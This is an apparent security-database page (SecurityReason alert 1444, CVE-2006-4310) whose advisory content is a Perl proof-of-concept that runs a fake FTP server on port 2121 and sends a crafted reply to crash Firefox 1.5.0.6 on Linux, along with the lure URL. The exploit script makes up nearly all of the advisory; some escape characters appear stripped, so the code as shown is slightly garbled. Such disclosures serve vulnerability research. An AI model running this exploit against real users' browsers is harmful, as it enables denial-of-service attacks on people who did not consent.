|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
If you have found a vulnerability, please send to our SecurityAlert Database : secalert()securityreason()com
Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com |
|
|
Home SecurityAlert Database |
|
|
Topic : | (exploit) firefox 1.5.0.6 linux DoS
|
SecurityAlert : 1444
CVE : CVE-2006-4310
SecurityRisk : Medium (About)
Remote Exploit : Yes
Local Exploit : No
Exploit Available : Yes
Credit : tomas
Published : 25.08.2006
Affected Software : | firefox 1.5.0.6 |
 Advisory Content : #!/usr/bin/perl
#author: tomas kempinsky
use strict;
use Socket;
my $port = shift || 2121;
my $proto = getprotobyname('tcp');
my $payload =
"x32x32x30x20x5ax0dx0ax33".
"x33x31x20x5ax0dx0ax35x30".
"x30x20x44x6fx53x0dx0ax35".
"x30x30x20x5ax0dx0a";
socket(SERVER, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, 1) or die "setsock: $!";
my $paddr = sockaddr_in($port, INADDR_ANY);
bind(SERVER, $paddr) or die "bind: $!";
listen(SERVER, SOMAXCONN) or die "listen: $!";
print "ftp://D:oS@x0localhost:2121/n";
my $client_addr;
while ($client_addr = accept(CLIENT, SERVER)) {
# find out who connected
my ($client_port, $client_ip) = sockaddr_in($client_addr);
my $client_ipnum = inet_ntoa($client_ip);
my $client_host = gethostbyaddr($client_ip, AF_INET);
print ": $client_host", "[$client_ipnum]n";
# send them a message, close connection
print CLIENT $payload;
close CLIENT;
}
Feedback :
If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
|
|
|
|